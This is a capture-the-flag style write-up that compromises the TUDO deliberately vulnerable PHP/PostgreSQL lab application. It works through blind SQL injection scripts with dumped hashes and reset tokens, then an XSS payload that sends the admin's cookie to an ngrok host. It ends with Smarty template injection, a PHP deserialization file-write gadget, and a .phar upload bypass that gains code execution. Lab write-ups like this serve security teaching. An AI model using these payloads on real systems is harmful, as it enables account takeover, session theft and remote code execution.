TUDO - PHP Vulnerable Web Application Write-Up

TUDO - Write-Up

Creator Language
William Moody (@bmdyy) PHP & PostgreSQL

[*] INDEX

  1. AUTHENTICATION BYPASS 📚
  2. PRIVILEGE ESCALATION
  3. RCE (REMOTE CODE EXECUTION)

1- Authentication Bypass

1.1 - SQL Injection

There is a Forgot Username section for non-Authenticated users, where we can check if a user exists or not. If we look at the source code of forgotusername.php we can see this :

<?php
    session_start();
    if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] == true) {
        header('location: /index.php');
        die();
    }

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $username = $_POST['username'];

        include('includes/db_connect.php');
        $ret = pg_query($db, "select * from users where username='".$username."';");

        if (pg_num_rows($ret) === 1) {
            $success = true;
        } else {
            $error = true;
        }
    }
?>

The user input is not properly sanitized, this is vulnerable agains SQL injection, we can check this with the following payload :

'|| CASE WHEN 1=1 THEN pg_sleep(3) ELSE 'a' END ||'--

import requests
url = "http://172.17.0.2:80/forgotusername.php"

cookies = {"PHPSESSID": "m57d7dbhkgso67mo1d9epbqj8k"}
data = {
    "username": "'|| CASE WHEN 1=1 THEN pg_sleep(3) ELSE 'a' END ||'--"
}
r = requests.post(url, cookies=cookies, data=data)
if r.elapsed.total_seconds() > 1:
    print("[!] SQL Injection confirmed")
    
# Output : [!] SQL Injection confirmed

Nice! Now let’s build a script to dump data about the database :

import requests
s = requests.session()

url = "http://172.17.0.2:80/forgotusername.php"

def sendQuery(url, q):
    output = "\n[+] OUTPUT : "
    print(output)
    y = 1
    finish = False
    while finish == False:
        for ascii_char in range(32, 126):
            cookies = {"PHPSESSID": "m57d7dbhkgso67mo1d9epbqj8k"}
            data = {
                "username": "'|| CASE WHEN (SELECT ASCII(SUBSTRING(({query}), {y}, 1)))={char} THEN pg_sleep(3) ELSE 'a' END ||'--".format(query=q, y=y,char=ascii_char)
            }
            r = s.post(url, cookies=cookies, data=data)
            if r.elapsed.total_seconds() > 1:
                print(chr(ascii_char), end='', flush=True)
                output += chr(ascii_char)
                y += 1
                break
        else:
            return output


if __name__ == "__main__":
    # SELECT table_name from information_schema.tables LIMIT 1 OFFSET 0
            # [+] OUTPUT : 
            # users
            # [+] OUTPUT : 
            # tokens
            # [+] OUTPUT : 
            # class_posts
            # [+] OUTPUT : 
            # motd_images
    # SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name = 'users' LIMIT 1 OFFSET X
            # [+] OUTPUT : 
            # uid
            # [+] OUTPUT : 
            # username
            # [+] OUTPUT : 
            # password
            # [+] OUTPUT : 
            #description
    # SELECT username FROM users LIMIT 1 OFFSET X
            # [+] OUTPUT : 
            # admin
            # [+] OUTPUT : 
            # user1
            # [+] OUTPUT : 
            # user2
    # SELECT password FROM users LIMIT 1 OFFSET X
            # [+] OUTPUT : 
            # 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
            # [+] OUTPUT : 
            # 0a041b9462caa4a31bac3567e0b6e265dd98d421a7084aa09f61b341703901a3
            # [+] OUTPUT : 
            # 0a041b9462caa4a31bac3567e0b6e6fd9100787db2ab433d96f6d178cabfce90
    x = 0
    while True:
        result = sendQuery(url, "SELECT password FROM users LIMIT 1 OFFSET {x}".format(x=x))
        if (result == "\n[+] OUTPUT : "):
            break
        else:
            x+=1

But we can’t just crack the password of the user, this is not the intended way. We have a recover password field :

Let’s generate a token for user1 and user2, and the get the token through SQLi :

[+] OUTPUT : 
5gqnfrYSXanuqR4FrhfJnOoa1E_ZoZdH
[+] OUTPUT : 
8RpxMWZWfTmZR4R72CuwhbLeW2pTU64p
[+] OUTPUT : 
U7BdeG6eUlKPAJozxfxURB3F5PkHLYbN

Now we just have to change the password :

import requests
token = 'e_Q9Kyiv2O2X2eyPvjsJq0QrG6xtPkxz'

data = {
    'token':token,
    'password1':'whoami',
    'password2':'whoami'
}

requests.post('http://172.17.0.2/resetpassword.php',data=data)

2- Privilege Escalation

2.1 - XSS - Session Hijacking

In the challenge this data is provided :

The attack for step 2 may take up to a minute to complete, since the admin’s actions are emulated with a cron job every minute on the target machine.

So if we log in with admin’s default credentials we can see this :

The description field can be edited by the user, so this is likely to be vulnerable against XSS, let’s try with

<script>alert()</script>

And now if we log in as the admin we see that the XSS was successfully performed :

Let’s steal the admin’s cookie to hijack the session :

<img src=x onerror=this.src='http://-------------.ngrok.io?cookie='+document.cookie;>

Now we just have to wait…

 GET /?cookie=PHPSESSID=duloifelo1cvdoepgl178enadc

3- Remote Code Execution

3.1- Server Side Template Injection

As we can see in the MoTD section :

This is probably using kind of template which could be vulnerable agains SSTI, I tried with the typicall {{7*7}}, ${7*7}… But it didn’t work, so let’s check out the source code. In the index.php we can find this :

$smarty = new Smarty();
$smarty->assign("username", $_SESSION['username']);
$smarty->debugging = true;
$smarty->force_compile = true;
echo $smarty->fetch("motd.tpl").'<br>';

We can see that the Web Application is working with Smarty, a web template system written in PHP. We can try with the payloads of PayloadAllTheThings :

{$smarty.version} -> 2.6.31

Nice, this worked! Let’s try to execute code :

whoami -> www-data

3.2- Deserialization

In the utils.php file we can see the Log class :

   class Log {
        public function __construct($f, $m) {
            $this->f = $f;
            $this->m = $m;
        }
        
        public function __destruct() {
            file_put_contents($this->f, $this->m, FILE_APPEND);
        }
    }

In the __destruct() magic function is writing data into a file, appending the data to the content of the file. We can insert a php reverse shell inside. In the import_user functionality we can see that the class is unserialized :

<?php
    include('../includes/utils.php');

    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $userObj = $_POST['userobj'];
        if ($userObj !== "") {
            $user = unserialize($userObj);

Let’s serialize it and send it to the server :

<?php
    class Log {
        public function __construct($f, $m) {
            $this->f = $f;
            $this->m = $m;
        }
        
        public function __destruct() {
            ;//file_put_contents($this->f, $this->m, FILE_APPEND);
        }
    }

    $log = new Log("/var/www/html/test.php", "<?php echo exec('whoami'); ?>");
    echo serialize($log);
?>

Output : O:3:"Log":2:{s:1:"f";s:22:"/var/www/html/test.php";s:1:"m";s:29:"<?php echo exec('whoami'); ?>";}

Now we can send it to the server :

POST /admin/import_user.php HTTP/1.1

userobj=O%3a3%3a"Log"%3a2%3a{s%3a1%3a"f"%3bs%3a22%3a"/var/www/html/test.php"%3bs%3a1%3a"m"%3bs%3a29%3a"<%3fphp+echo+exec('whoami')%3b+%3f>"%3b}

Let’s visit test.php :

3.3 - Image Upload Bypass

We have a blacklist of file extensions :

$illegal_ext = Array("php","pht","phtm","phtml","phpt","pgif","phps","php2","php3","php4","php5","php6","php7","php16","inc");

But the .phar extension in this list is missing. Let’s try to upload a .phar file :

POST /admin/upload_image.php HTTP/1.1
Host: 172.17.0.2
Content-Length: 321
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.17.0.2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEXgdYgNENPVGJjk7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.0.2/admin/update_motd.php
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: PHPSESSID=nbi26n89hhbr8r0a6qvarevl6l
Connection: close

------WebKitFormBoundaryEXgdYgNENPVGJjk7
Content-Disposition: form-data; name="title"

------WebKitFormBoundaryEXgdYgNENPVGJjk7
Content-Disposition: form-data; name="image"; filename="rshell.phar"
Content-Type: application/octet-stream
<?php echo exec('whoami'); ?>

------WebKitFormBoundaryEXgdYgNENPVGJjk7--

But this is the response given :

Failed getimagesize<br>
Illegal mime type<br>

The mime type we can easily change the Content-Type to image/gif :

Content-Type: image/gif

But we’re still geting Failed getimagesize. We can add the file gif file signature GIF87a.

filename="rshell.phar"
Content-Type: image/gif
GIF87a
<?php echo exec('whoami'); ?>

Now let’s request the file :

image

Nice, it worked!